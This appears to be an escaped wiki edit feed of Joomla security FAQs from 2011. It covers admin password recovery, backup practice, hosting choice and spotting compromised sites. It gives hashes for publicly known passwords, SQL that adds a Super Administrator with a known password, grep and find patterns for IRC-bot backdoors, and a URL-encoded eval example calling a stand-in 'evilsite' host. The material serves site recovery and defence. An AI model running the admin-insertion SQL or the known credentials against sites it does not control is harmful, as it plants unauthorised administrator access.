 password = &amp;quot;MD5 hash of password&amp;quot;&lt;br /&gt;
 ------------------------------------------------------&lt;br /&gt;
 admin = 21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;
 secret = 5ebe2294ecd0e0f08eab7690d2a6ee69&lt;br /&gt;
 OU812 = 7441de5382cf4fecbaa9a8c538e76783&lt;br /&gt;
&lt;br /&gt;
5. Save the user record.&lt;br /&gt;
&lt;br /&gt;
6. Point a browser to your site and log in using the Super Administrator account you just modified.&lt;br /&gt;
&lt;br /&gt;
7. &#039;&#039;&#039;IMPORTANT:&#039;&#039;&#039; Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will &#039;salt&#039; your new password, thus adding an additional level of security on top of the MD5 hash.&lt;br /&gt;
&lt;br /&gt;
Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating your own MD5 hash from a password of your choice&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you&#039;ve generated a hash with these tools.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Online MD5 hash creation tools&#039;&#039;&#039;&lt;br /&gt;
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Free MD5 utilities for download&#039;&#039;&#039;&lt;br /&gt;
* MD5 &amp;amp; Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp&lt;br /&gt;
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other MD5 tools&#039;&#039;&#039;&lt;br /&gt;
* There are many free online and downloadable MD5 utilities. Google &amp;quot;MD5 hash tool&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== How do I find exploits using the *NIX shell? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check the active processes&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;quot;ps&amp;quot; command to look for odd or unknown processes, if you aren&#039;t sure what to look for there, user &amp;quot;netstat -ae | grep irc&amp;quot; and/or &amp;quot;netstat -ea | grep 666&amp;quot; and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name &amp;quot;irc&amp;quot; listed against them, or may have &amp;quot;httpd&amp;quot; or sometimes other regular services names.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check crontab&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check for hidden files or directories&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check for hidden files or directories you dont expect to see, those starting with &amp;quot;.&amp;quot; (dots) and also look for &amp;quot;. &amp;quot; (dot, space) often favored to try and catch searches for hidden directories.&lt;br /&gt;
&lt;br /&gt;
Other examples of searches that may help pin down exploits and/or unexpected files and folders:&lt;br /&gt;
&lt;br /&gt;
 find /home -type f | xargs grep -l MultiViews&lt;br /&gt;
 find . -type f | xargs grep -l base64_encode &amp;lt;&amp;lt;&amp;lt; this can produce false positives, it is valid in many mail/graphics scripts&lt;br /&gt;
 find . -type f | xargs grep -l error_reporting&lt;br /&gt;
 find / -name &amp;quot;[Bb]itch[xX]&amp;quot;&lt;br /&gt;
 find / -name &amp;quot;psy*&amp;quot;&lt;br /&gt;
 ls -lR | grep rwxrwxrwx &amp;gt; listing.txt&lt;br /&gt;
&lt;br /&gt;
== What are these strange (URL-Encoded) characters doing in my code? ==&lt;br /&gt;
&lt;br /&gt;
Overview&lt;br /&gt;
&lt;br /&gt;
Attackers sometimes hide code away from prying eyes by URL Encoding it.&lt;br /&gt;
&lt;br /&gt;
The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.&lt;br /&gt;
&lt;br /&gt;
However, if you find odd, URL-encoded text in your site&#039;s files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.&lt;br /&gt;
&lt;br /&gt;
Here are some trivial, non-functioning examples of URL Encoded text:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Original&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;URL Encoded&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;this line has spaces&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;this%20line%20has%20spaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;eval(evil_script(http://www.evilsite/?evilscript.pl&amp;quot;));&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;%65val%28%65%76il_%73cri%70t&lt;br /&gt;
%28%68tt%70%3A//%77%77%77.&lt;br /&gt;
%65%76il%73ite/%3F%65%76il%73&lt;br /&gt;
cript.%70l%22%29%29%3B&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]&lt;br /&gt;
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Edited by==&lt;br /&gt;
[http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=39784 rliskey]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security]]&lt;br /&gt;
[[Category:FAQ]]&lt;br /&gt;
[[Category:Security_FAQ]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=How_do_you_recover_or_reset_your_admin_password%3F&amp;diff=62368</id>
		<title>How do you recover or reset your admin password?</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=How_do_you_recover_or_reset_your_admin_password%3F&amp;diff=62368"/>
		<updated>2011-09-26T22:59:13Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: add ver icons&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Normally, you can add, edit and delete users and passwords from the back-end User Manager. To do this, you must be logged in as a member of the Super Administrator group. &lt;br /&gt;
&lt;br /&gt;
In some situations, this may not be possible. For example, your site may have been &amp;quot;hacked&amp;quot; and had the passwords or users changed. Or perhaps the person who knew the passwords is no longer available. Or maybe you have forgotten the password that was used.&lt;br /&gt;
&lt;br /&gt;
In these cases, it is still possible to fix up the Joomla! database so you can log back in as a Super Administrator. There are three possible methods discussed below.&lt;br /&gt;
&lt;br /&gt;
===Use the Lost Password Feature===&lt;br /&gt;
If you have access to the email address that was used for the admin user, and you have made the &amp;quot;lost password&amp;quot; feature available on the front end, the simplest thing is to do is to use the &amp;quot;lost password&amp;quot; Front-end function. The site will send an e-mail to the user&#039;s e-mail address and allow you to change the password.&lt;br /&gt;
&lt;br /&gt;
If this method will not work, you have two other options, both of which require working with the MySQL database directly.&lt;br /&gt;
&lt;br /&gt;
===Change the Password in the Database===&lt;br /&gt;
If the admin user is still defined, the simplest option is to change the password in the database to a known value. This requires that you have access to the MySQL database using phpMyAdmin.&lt;br /&gt;
&lt;br /&gt;
# Navigate to phpMyAdmin and select the database for the Joomla! site in the left-hand drop-down list box. This will show the database tables on the left side of the screen. &lt;br /&gt;
# Click on the table &amp;quot;jos_users&amp;quot; in the list of tables. &lt;br /&gt;
# Click on the &amp;quot;Browse&amp;quot; button in the top toolbar. This will show all of the users that are set up for this site.&lt;br /&gt;
# Find the user whose password you want to change and press the Edit icon for this row.&lt;br /&gt;
# A form will display that allows you to edit the password field. Copy the value &amp;lt;source lang=&amp;quot;sql&amp;quot;&amp;gt;d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199&amp;lt;/source&amp;gt; into the password field and press the &#039;&#039;Go&#039;&#039; button. phpMyAdmin should display the message &amp;quot;Affected rows: 1&amp;quot;. At this point, the password should be changed to &amp;quot;secret&amp;quot;.&lt;br /&gt;
# Log in with this user and password and change the password of this user to a secure value. Check all of the users using the User Manager to make sure they are legitimate. If you have been hacked, you may want to change all of the passwords on the site.&lt;br /&gt;
&lt;br /&gt;
===Add a New Super Administrator User===&lt;br /&gt;
If changing the password won&#039;t work, or you aren&#039;t sure which user is a member of the Super Administrator group, you can use this method to create a new user.&lt;br /&gt;
&lt;br /&gt;
# Navigate to phpMyAdmin and select the database for the Joomla! site in the left-hand drop-down list box. This will show the database tables on the left side of the screen. &lt;br /&gt;
# Press the &amp;quot;SQL&amp;quot; button in the toolbar to run an SQL query on the selected database. This will display a field called &amp;quot;Run SQL query/queries on database &amp;lt;your database&amp;gt;&amp;quot;.&lt;br /&gt;
# Delete any text in this field and copy and paste one of the following queries and press the &#039;&#039;Go&#039;&#039; button to execute the query and add the new Administrator user to the table.&lt;br /&gt;
# Use the 1.6 query version for a site based upon Joomla 1.6.xx and use the 1.5 query version for a site based upon Joomla 1.5.xx.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;NOTE:&#039;&#039;&#039; &#039;&#039;&#039;&#039;&#039;The following code uses jos_ as the table name prefix which is the Joomla default table prefix If you elected to change this prefix when you first installed Joomla, you will need to change jos_ to the prefix you used.&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;SQL code for use with Joomla 1.6.xx{{JVer|1.6}}&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;sql&amp;quot;&amp;gt;INSERT INTO `jos_users`&lt;br /&gt;
   (`id`,`name`, `username`, `password`, `params`)&lt;br /&gt;
VALUES (LAST_INSERT_ID(),&#039;Administrator2&#039;, &#039;admin2&#039;,&lt;br /&gt;
    &#039;d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199&#039;, &#039;&#039;);&lt;br /&gt;
INSERT INTO `jos_user_usergroup_map` (`user_id`,`group_id`)&lt;br /&gt;
VALUES (LAST_INSERT_ID(),&#039;8&#039;);&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;SQL code for use with Joomla 1.5.xx{{JVer|1.5}}&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;sql&amp;quot;&amp;gt;INSERT INTO `jos_users`&lt;br /&gt;
   (`id`, `name`, `username`, `password`, `usertype`, `gid`, `params`)&lt;br /&gt;
VALUES (LAST_INSERT_ID(), &#039;Administrator2&#039;, &#039;admin2&#039;,&lt;br /&gt;
    &#039;d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199&#039;,&lt;br /&gt;
    &#039;Super Administrator&#039;, 25, &#039;&#039;);&lt;br /&gt;
INSERT INTO `jos_core_acl_aro`&lt;br /&gt;
VALUES (NULL, &#039;users&#039;, LAST_INSERT_ID(), 0, &#039;Administrator2&#039;, 0);&lt;br /&gt;
INSERT INTO `jos_core_acl_groups_aro_map`&lt;br /&gt;
VALUES (25, &#039;&#039;, LAST_INSERT_ID());&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
At this point, you should be able to log into the back end of Joomla! with the username of &amp;quot;admin2&amp;quot; and password of &amp;quot;secret&amp;quot;. After logging in, go to the User Manager and change the password to a new secure value and add a valid e-mail address to the account. If there is a chance you have been &amp;quot;hacked&amp;quot;, be sure to check that all users are legitimate, especially any members of the Super Administrator group.&lt;br /&gt;
The examples above change the password to &amp;quot;secret&amp;quot;. Two other possible values are shown below:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
- password = &amp;quot;this is the MD5 and salted hashed password&amp;quot;&lt;br /&gt;
------------------------------------------------------&lt;br /&gt;
- admin  = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT&lt;br /&gt;
- secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199&lt;br /&gt;
- OU812  = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font color=&amp;quot;#ff0000&amp;quot;&amp;gt;Warning: The password values shown on this page are public knowledge and are only for recovery. Your site may be hacked if you do not change the password to a secure value after logging in. Be sure you change the password to a secure value after logging in. &amp;lt;/font&amp;gt;&lt;br /&gt;
[[Category:FAQ]][[Category:Administration FAQ]][[Category:Getting Started FAQ]][[Category:Version 1.5 FAQ]]&lt;br /&gt;
[[Category:User Management]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=62367</id>
		<title>Security and Performance FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=62367"/>
		<updated>2011-09-26T22:57:46Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: /* How do I reset an administrator password? */ {{JVer|1.0}}&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
= Getting Started =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Is GNU and Open Source software worth the costs and risks?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling: &lt;br /&gt;
&lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
! &#039;&#039;&#039;Applications&#039;&#039;&#039; !! &#039;&#039;&#039;Industry Leader&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| GNU/Linux&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Apache Web Server&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| MySQL Relational Database&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| PHP Scripting Language&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Content Management System&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Joomla Extensions&lt;br /&gt;
| Varies&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! &#039;&#039;&#039;Support&#039;&#039;&#039; !! &#039;&#039;&#039;Relative Quality&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Project Leadership Team&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Forge&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Online Forums&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Documentation&lt;br /&gt;
| Medium&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Online Volunteers&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Paid Professional Support&lt;br /&gt;
| Widely Available&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Total&#039;&#039;&#039; !! &amp;amp;nbsp; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;0&#039;&#039;&#039;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==What is the Joomla! Administrator&#039;s Security Checklist?==&lt;br /&gt;
&lt;br /&gt;
The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.&lt;br /&gt;
&lt;br /&gt;
==What are the top 10 stupidest Joomla! security tricks?==&lt;br /&gt;
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].&lt;br /&gt;
&lt;br /&gt;
==How do I choose a quality hosting provider?==&lt;br /&gt;
&lt;br /&gt;
The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Choose *NIX:&#039;&#039;&#039; Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options. &lt;br /&gt;
* &#039;&#039;&#039;Use Secure FTP:&#039;&#039;&#039; Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Set PHP register_globals OFF:&#039;&#039;&#039; The most security conscious hosts turn PHP&#039;s Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don&#039;t get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Stay up-to-date:&#039;&#039;&#039; Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Avoid cheap shared servers:&#039;&#039;&#039; Be sure users on your shared server can&#039;t view each others files and databases, for example through shell accounts and cpanels.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Proactive server management:&#039;&#039;&#039; Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they&#039;ve responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Require raw log access:&#039;&#039;&#039; Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performance matters:&#039;&#039;&#039; Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Data center:&#039;&#039;&#039; Choose a host that manages it&#039;s own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Know your neighbors:&#039;&#039;&#039; Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Visit the Joomla Resources Directory (JRD) [http://resources.joomla.org/directory/support-services/hosting.html hosting section]:&#039;&#039;&#039;  If you are looking for a Joomla Host, please ensure you make your own investigations as to the services offered and whether they suit your needs or not.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Grow with your site:&#039;&#039;&#039; As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) &#039;&#039;&#039;dedicated servers&#039;&#039;&#039; offer the best possible security and performance, but at the highest expense, 2) &#039;&#039;&#039;virtual servers&#039;&#039;&#039; offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.&lt;br /&gt;
&lt;br /&gt;
==What are the best practices for site backups?==&lt;br /&gt;
&lt;br /&gt;
: There are three traditional backup types--full, cumulative and differential.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Full Backups&#039;&#039;&#039; &lt;br /&gt;
: A complete backup of all associated files and database at a known point in time.&lt;br /&gt;
&lt;br /&gt;
: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Cumulative Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Incremental Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.&lt;br /&gt;
&lt;br /&gt;
: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.&lt;br /&gt;
&lt;br /&gt;
: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.&lt;br /&gt;
&lt;br /&gt;
: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night&#039;s backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.&lt;br /&gt;
&lt;br /&gt;
: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially &amp;quot;over-filling&amp;quot; the file-system.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Data Protection Best Practice says&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.&lt;br /&gt;
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.&lt;br /&gt;
# A good backup practice is to store backups away from the current data location, preferably off site.&lt;br /&gt;
# Dynamic data should be backed up &#039;&#039;offline&#039;&#039; or &#039;&#039;hot&#039;&#039; to avoid &#039;&#039;fuzzy&#039;&#039; backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.&lt;br /&gt;
&lt;br /&gt;
: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.&lt;br /&gt;
&lt;br /&gt;
: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven&#039;t modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.&lt;br /&gt;
&lt;br /&gt;
==Where can I learn about vulnerable extensions?==&lt;br /&gt;
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]&lt;br /&gt;
&lt;br /&gt;
==Where can I learn more about file permissions?==&lt;br /&gt;
&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]&lt;br /&gt;
&lt;br /&gt;
==How do I setup a powerful password scheme?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 5 (Public)&#039;&#039;&#039; - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it&#039;s more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 4 (Webmaster)&#039;&#039;&#039; - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn&#039;t apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 3 (Webmaster)&#039;&#039;&#039; - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn&#039;t matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 2 (Personal Data Access)&#039;&#039;&#039; - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 1 (Banking!)&#039;&#039;&#039; - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!&lt;br /&gt;
&lt;br /&gt;
= Joomla! Core =&lt;br /&gt;
&lt;br /&gt;
==How can I check my Joomla! installation&#039;s overall security and health?==&lt;br /&gt;
&lt;br /&gt;
: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.&lt;br /&gt;
&lt;br /&gt;
: Project Home: http:// joomlacode. org/gf/project/jts/ (gone away)&lt;br /&gt;
&lt;br /&gt;
==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==&lt;br /&gt;
&lt;br /&gt;
# Login to your Joomla! sites Administration site&lt;br /&gt;
# From the menu, select Extensions -&amp;gt; Module Manager&lt;br /&gt;
# From within the Module Manager, select Administrator&lt;br /&gt;
# From the Icon Menu (top right), select New&lt;br /&gt;
# From the choices available, select Feeds Display&lt;br /&gt;
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)&lt;br /&gt;
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL&lt;br /&gt;
# Select cpanel as the position&lt;br /&gt;
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel&lt;br /&gt;
# Select Save from the Icon Menu (top right)&lt;br /&gt;
# Go back to your Admin Site main page (Site -&amp;gt; Control Panel) and you should see your newly built Security Feed.&lt;br /&gt;
&lt;br /&gt;
: You can also use this technique to deliver your own &amp;quot;Customer Updates&amp;quot; to sites that you build for others. It&#039;s a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they&#039;ll see your latest news.&lt;br /&gt;
&lt;br /&gt;
==Why should I immediately change the name of the default admin user after a new install?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
